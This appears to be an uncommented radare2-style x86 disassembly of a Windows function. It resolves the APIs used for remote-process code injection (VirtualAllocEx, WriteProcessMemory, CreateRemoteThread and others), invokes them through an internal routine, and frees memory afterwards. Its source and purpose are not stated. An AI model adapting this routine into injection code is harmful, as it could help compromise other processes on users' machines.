lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.00408f39
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x408604
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov ebx, dword [ebp - 0x2c]
add ebx, 8
mov dword [ebp - 0x30], ebx
mov eax, str.GetProcAddress
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, str.kernel32.dll
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
call fcn.00409037
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x408654
push ebx
call fcn.0040d5b7
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x408664
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov ebx, dword [ebp - 0x2c]
add ebx, 0x20
mov dword [ebp - 0x30], ebx
mov eax, str.VirtualAllocEx
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.00408f39
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4086a8
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov ebx, dword [ebp - 0x2c]
add ebx, 0x28
mov dword [ebp - 0x30], ebx
mov eax, str.VirtualProtectEx
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.00408f39
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4086ec
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov ebx, dword [ebp - 0x2c]
add ebx, 0x38
mov dword [ebp - 0x30], ebx
mov eax, str.ReadProcessMemory
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.00408f39
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x408730
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov ebx, dword [ebp - 0x2c]
add ebx, 0x30
mov dword [ebp - 0x30], ebx
mov eax, str.WriteProcessMemory
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.00408f39
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x408774
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov ebx, dword [ebp - 0x2c]
add ebx, 0x48
mov dword [ebp - 0x30], ebx
mov eax, str.CreateRemoteThread
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.00408f39
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4087b8
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov ebx, dword [ebp - 0x2c]
add ebx, 0x58
mov dword [ebp - 0x30], ebx
mov eax, str.GetExitCodeProcess
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.00408f39
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4087fc
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
push dword [ebp + 0xc]
call fcn.00408bda
mov dword [ebp - 0x30], eax
push 0x80000005
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x40882a
mov eax, 0x412209
push eax
push 1
mov ebx, 0x194
call fcn.0040e110
add esp, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00408d4d
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
push dword [ebp - 0x48]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
push dword [ebp - 0x50]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
push 0
push dword [ebp - 0x54]
push dword [ebp - 0x58]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
push dword [ebp - 0x60]
push 1
mov eax, dword [ebp - 0x38]
cdq
push edx
push eax
push 1
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push 1
mov eax, dword [ebp - 0x34]
cdq
push edx
push eax
push 1
mov eax, dword [ebp - 0x30]
cdq
push edx
push eax
push 1
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
call fcn.0040ae87
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x408966
mov dword [ebp - 0x30], esp
push dword [ebp - 0xc]
xor eax, eax
call dword [0x415a19]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x408926
push 0x1048
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
mov dword [ebp - 0x30], esp
push 0x8000
push 0
push dword [ebp - 0x20]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x40895c
push 0x1062
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
mov eax, 0
jmp 0x4089d2
mov dword [ebp - 0x30], esp
push dword [ebp - 0xc]
xor eax, eax
call dword [0x415a19]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x408992
push 0x10a6
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
mov dword [ebp - 0x30], esp
push 0x8000
push 0
push dword [ebp - 0x20]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x4089c8
push 0x10c0
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
mov eax, 1
jmp 0x4089d2
push eax
mov ebx, dword [ebp - 8]
push ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4089f8
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4089f4
imul eax, dword [ebx]
jmp 0x4089e9
mov ecx, eax
test ecx, ecx
je 0x408a20
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.0040d5b7
add esp, 4
pop ebx
call fcn.0040d5b7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4089fe
call fcn.0040d5b7
add esp, 4
pop ebx
call fcn.0040d5b7
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x408a41
push ebx
call fcn.0040d5b7
add esp, 4
mov ebx, dword [ebp - 0x28]
push ebx
call fcn.0040d5b7
add esp, 4
mov ebx, dword [ebp - 0x2c]
push ebx
call fcn.0040d5b7
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8